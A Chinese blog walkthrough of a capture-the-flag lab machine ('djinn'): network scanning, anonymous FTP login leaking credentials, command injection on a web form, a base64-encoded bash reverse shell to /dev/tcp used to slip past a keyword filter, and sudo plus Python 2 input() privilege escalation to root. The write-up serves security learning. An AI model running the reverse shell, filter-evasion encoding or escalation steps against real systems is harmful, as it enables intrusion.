前几天始终在背材料,背的很烦,找个靶机来玩玩.

<!--more-->

第一件事,先找一下主机地址,因为我在本人的局域网内,我不必扫也晓得这台刚开的主机 ip 是多少...但如果不晓得的话,能够用 nmap 检测一下,sS 是指用半开放式扫描,不会实现三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描后果如下

Nmap scan report for djinn (192.168.1.8)Host is up (0.00010s latency).Not shown: 998 closed portsPORT   STATE SERVICE21/tcp open  ftp22/tcp open  sshMAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

当初拿到了靶机的 ip 地址,能够开始收集信息了,探测一下凋谢了哪些端口,先扫一万个试试,-O 参数可获取一些零碎的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描后果如下

Nmap scan report for djinn (192.168.1.8)Host is up (0.00027s latency).Not shown: 9996 closed portsPORT     STATE SERVICE21/tcp   open  ftp22/tcp   open  ssh1337/tcp open  waste7331/tcp open  swxMAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous,无明码.登录胜利.

Name (192.168.1.8:user): anonymous331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt226 Directory send OK.

别离把三个文件下载下来,查看信息

mget creds.txt game.txt message.txtcat creds.txtnitu:81299cat game.txtoh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.cat message.txt@nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先拜访一下试试

那再试试 7331 端口,这次有反馈了,爆破一把梭

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)/genie (Status: 200)

拜访一下 wish ,有个输出参数的中央,输出 id 试一下,能够执行命令

当初要想方法反弹 shell 了。间接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 试试。
报错 Wrong choice of words 。猜想可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简略:echo "id" | base64 ,输入aWQK,这就是 id 这个命令编码之后的后果了,而后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,能够失常应用 echo,对反弹 shell 命令进行编码

echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口nc -lvp 2333,把反弹命令放到浏览器中执行,胜利获取到 shell(我过后测试是监听的 8899 ,都是一样的)

这个反弹回来的 shell 有些命令不能执行,比方 su。。。不能切换用户,所以须要获取一个 pty。

python -c "import pty;pty.spawn('/bin/bash')"

提权

提权能够尝试找一找提权脚本来试试,我没有用,是缓缓的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,然而没有权限关上, sam 用户目录间接就没有权限拜访。
持续找,在 nitish 下的 .dev 目录里有个 creds.txt,输入一下

cat creds.txtnitish:p4ssw0rdStr3r0n9

password???明码到手了?切换用户试试,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有以后用户下有哪些命令能够一 root 执行

来试试这个 genie 是什么货色,用 man 查一下

能够做任何想做的事???我间接用 root 用户执行命令行不行?

没有权限,还 wish 个屁啊,放低点要求,我换成 sam 试试

能够,当初是 sam 了,再看一看有哪些能够以 root 执行的命令

Matching Defaults entries for sam on djinn:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser sam may run the following commands on djinn:    (root) NOPASSWD: /root/lago

又来一个 /root/lago,再试试

这前面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,而后是利用 python 的 input。
在 sam 的用户目录下有个 .pyc 文件,查看文件能够晓得这是 /root/lago 编译进去的,对 .pyc 反编译,而后利用 python2 外面的 input 个性,只有条件合乎,就执行胜利,所以间接输出 num 就行

def guessit():    num = randint(1, 101)    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'

公众号:没有幻想的阿巧 后盾回复 "群聊",一起学习,一起提高